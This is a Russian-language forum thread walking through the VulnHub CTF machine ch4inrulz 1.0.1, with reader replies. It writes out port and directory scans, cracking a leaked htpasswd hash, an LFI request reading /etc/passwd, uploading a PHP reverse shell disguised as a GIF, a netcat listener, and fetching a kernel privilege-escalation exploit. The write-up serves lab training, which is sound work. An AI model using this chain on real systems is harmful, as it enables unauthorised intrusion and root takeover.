ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   ch4inrulz: 1.0.1:CTF Прохождение (https://forum.antichat.xyz/showthread.php?t=1626048)

Debug 20.12.2018 11:50

Привет Antichat, сегодня мы пройдем еще одно задачу CTF под названием ch4inrulz: 1.0.1 которую мы можем загрузить с Vulnhub.com и установить (ch4inrulz: 1.0.1 ~ VulnHub).
В описание сказано, что данная уязвимая машина была специально разработана для Top Jackan 2018 CTF. Ключевая особенность заключается в том, что данная машина была предназначена для имитации реальных атак.

Уровень средний.

Определение IP

Первая наша задача это узнать IP адрес машины. Сделать это можно хоть с помощью arp-scan хоть с netdiscover. Я загляну на аренду DHCP адресов в настройках своего роутера.

https://forum.antichat.xyz/attachmen...622df1e571.png

По старинке, как всегда, мы начинаем наш анализ со сканирования портов. Для этой цели используем nmap. Команда: nmap
Код:

-sV -p- 192.168.1.248
. Результат сканирования:

https://forum.antichat.xyz/attachmen...666d561f3f.png

Также для анализа я использую программу Acunetix web vulnerability scanner.
Это программа отлично подходит для наших целей - обнаружение уязвимых мест в машине. Она также умеет брутить директории. Обычно для этого используют утилиту dirsearch.

Поиск интересных каталогов

Воспользуемся dirsearch чтобы найти что-то интересное. Команда будет выглядеть:
Код:

python3 dirsearch.py -u http://192.168.1.248 -e php,html,png,bak -x 403
Где -u IP адрес(мы помним что у нас открыт 80 порт)
-e расширения файлов для поиска
-x команда для игнорирования ответа с сервера с номером 403

Результат поиска:

https://forum.antichat.xyz/attachmen...6781da0a25.png

Лично меня поиск не удовлетворил, интересным оказался только каталог development. Но сначала перейдем по адресу
Код:

http://192.168.1.248
и взглянем с чем имеем дело.

https://forum.antichat.xyz/attachmen...b843616eb1.png

Полазив по сайту(в исходном коде) ничего интересного не находя переходим в каталог development

https://forum.antichat.xyz/attachmen...fbb7005066.png

Ага, вход на сайт запрещен. Стандартные переменные(admin,1234,password and etc.) не подходят, значит нам придется брутить. Но пока можем посмотреть что нашел Acunetix

https://forum.antichat.xyz/attachmen...159d391b66.png

https://forum.antichat.xyz/attachmen...f8ea9dfd4d.png

Здесь интересным для оказался файл index.html.bak. Скачав и открыв его(я сначала переименуем его в index.html). Открываем и видим:

https://forum.antichat.xyz/attachmen...5260edebbe.png

Здесь стоит заглянуть и посмотреть исходный код страницы. Открываем:

https://forum.antichat.xyz/attachmen...bfa20e0291.png

Интересным оказалась строка:

Код:

<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path →
Теперь нам нужно расшифровать это хеш. Я использую JOHN. Через некоторое время мы получим результат - frank:frank!!!.
Теперь стоит заметить, что в строке фигурирует .htpasswd. Посмотрим что это. Просто так нам не посмотреть(сервер возвращает код 403, у нас нет доступа.) Значит мы попробуем залогиниться с данными которые мы раньше нашли. Данные подошли и результат:

https://forum.antichat.xyz/attachmen...33bbeecf68.png

После получение этого файла и внимательного анализа можно догадаться, что нам нужен инструмент для загрузки файлов. P.S. uploader. Теперь наша строка выглядит:

Код:

http://192.168.1.248/development/uploader/
и видим:

https://forum.antichat.xyz/attachmen...e4b19ed2e6.png

Также замечаем, что защита скрипта составляет 50%. Значит имеем дело с какой-то популярной уязвимостью. Также стоит заметить, что сервер принимает только image файлы(фильтрация). Скорее всего мы сможем обойти и запустить нашу полезную нагрузку.

Сканирование порта 8011

Переходим по адресу
Код:

http://192.168.1.248
. Результат:

https://forum.antichat.xyz/attachmen...679823a45d.png

Недолго думая сразу брутим каталоги + можно запустить Acunetix web vulnerability scanner.
Команда:
Код:

python3 dirsearch.py -u http://192.168.1.248:8011 -e php,html,bak,png,txt -x 403
Acunetix ничего не нашел. А вот dirsearch:

https://forum.antichat.xyz/attachmen...b86befbc9c.png

Идем сразу по адресу и смотрим:
Код:

http://192.168.1.248:8011/api
https://forum.antichat.xyz/attachmen...3961725ad9.png

Сразу пытаемся вставлять эти файлы(P.S файл files_api.php). Наш пазл отлично собирается(А почему?) Да потому что в здесь имеется уязвимость LFI(Local File Inclusion). Может нам стоит посмотреть файл /etc/passwd?

https://forum.antichat.xyz/attachmen...7ae385f36e.png

Адрес выглядит следующим образом -
Код:

http://192.168.1.248:8011/api/files_api.php?file=/etc/passwd
.
Исследуем дальше… Воспользуемся утилитой curl.

Команда:
Код:

curl -X POST -d "file=/etc/passwd" http://192.168.1.248:8011/api/files_api.php
Здесь все должно быть понятным, а результат меня обрадовал:

https://forum.antichat.xyz/attachmen...7ea03a3a9d.png

Загружаем shell

И так мы имеем LFI + file upload = shell. Но нам нужно еще обойти функцию фильтрации загружаемых файлов. Также нам стоит узнать куда именно загружаются изображения. Здесь было очень и очень много попыток найти директорию куда все-таки могли загружаться изображения. Каталог FRANKuploads конечно был найден, но это было очень не просто.

Подготовка полезной нагрузки

Я попытался создать полезную нагрузку через meterpreter, но с получением сессии возникли проблемы. Поэтому поступим следующим образом. В Kali Linux возьмем файл /usr/share/webshells/php/php-reverse-shell.php. Теперь откроем его и добавим в самый верх строку GIF98(Надеюсь понятно зачем) Теперь нам также нужно заняться настройкой, найдем в файле следующий блок:

https://forum.antichat.xyz/attachmen...b5d3b94fb0.png

Теперь переименуем файл в shell.gif и загрузим на сервер. Перейдя по адресу
Код:

http://192.168.1.248/development/uploader/FRANKuploads/
увидим, что файл загружен.

https://forum.antichat.xyz/attachmen...4cda48e7c9.png

Теперь используя уязвимость LFI получим наконец-то доступ к машине. Воспользуемся curl. Команда:

Код:

curl -X POST -d "file=/var/www/development/uploader/FRANKuploads/shell.gif" http://192.168.1.248:8011/api/files_api.php
И также предварительно настроив netcat(nc -lvp 8888) запустим и увидим результат.

https://forum.antichat.xyz/attachmen...6442897919.png

Теперь мы хотим получить интерактивную оболочку Python

https://forum.antichat.xyz/attachmen...f8e2228f0c.png

Получение Root прав

Теперь наша задача найти уязвимость и получить root права. Для этого будем использовать linux-exploit-suggester. Это отличная утилита которая найдет уязвимые места в системе.

Команда для скачивания:
Код:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
Теперь запустим ..les.sh

https://forum.antichat.xyz/attachmen...5af55e24df.png

Мы найдем много чего интересного. Уязвимость которая нам подходит Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation(RDS privilege escalation exploit).

Скачав его и запустив Python SimpleHTTPServer мы сможем загрузить эксплоит на нашу машину. И так команда для запуска сервера: python -m SimpleHTTPServer 80

https://forum.antichat.xyz/attachmen...5d79e55db1.png

Теперь скачаем и запустим наш эксплоит:

https://forum.antichat.xyz/attachmen...ae59b0506b.png

Отлично root права получены. Осталось только прочитать root.txt

https://forum.antichat.xyz/attachmen...4c2274e4fd.png

На этом прохождение CTF машины окончено).

Сергей Попов 21.12.2018 22:13

Почему нет ссылки на источник ? Вопрос и к предыдущей Вашей теме.

Debug 21.12.2018 22:18

На какой источник? Проходил я сам! Многое реализовано чего нет даже в других статьях, а если есть что-то похожее, так это возможно инструменты? Какой смысл тупо копипастить, я в свободное время прохожу для себя в первую очередь !

z0day 21.12.2018 23:06

глупый вопрос но какой логин и пароль или это и предстоит выяснить в статью не заглядывала что бы не спойлирить

Debug 21.12.2018 23:13

Цитата:


z0day сказал(а):

глупый вопрос но какой логин и пароль или это и предстоит выяснить в статью не заглядывала что бы не спойлирить


Ваша задача не получить логин и пароль а получить флаг(flag.txt) в директории /root. Когда вы запустите саму машину и увидеть строку для ввода имени пользователя и пароля, то взаимодействовать с ней надо не через virtual box или wmare. Если не понятно напишите мне я помогу все настроить. Также могу снять видео и по настройке и по прохождению.

z0day 21.12.2018 23:34

cпасиб но уже разобралась просто не думала что сервер запуститься без входа

Роман Митраков 13.04.2021 19:47

Цитата:


Debug сказал(а):

Ваша задача не получить логин и пароль а получить флаг(flag.txt) в директории /root. Когда вы запустите саму машину и увидеть строку для ввода имени пользователя и пароля, то взаимодействовать с ней надо не через virtual box или wmare. Если не понятно напишите мне я помогу все настроить. Также могу снять видео и по настройке и по прохождению.


У меня проблема на этапе использования LFI уязвимости.

https://forum.antichat.xyz/attachmen...855990e4b1.png

В итоге не получается подключиться с помощью netcat, и продвинуться дальше . Может что-то подскажете ?


Время: 16:34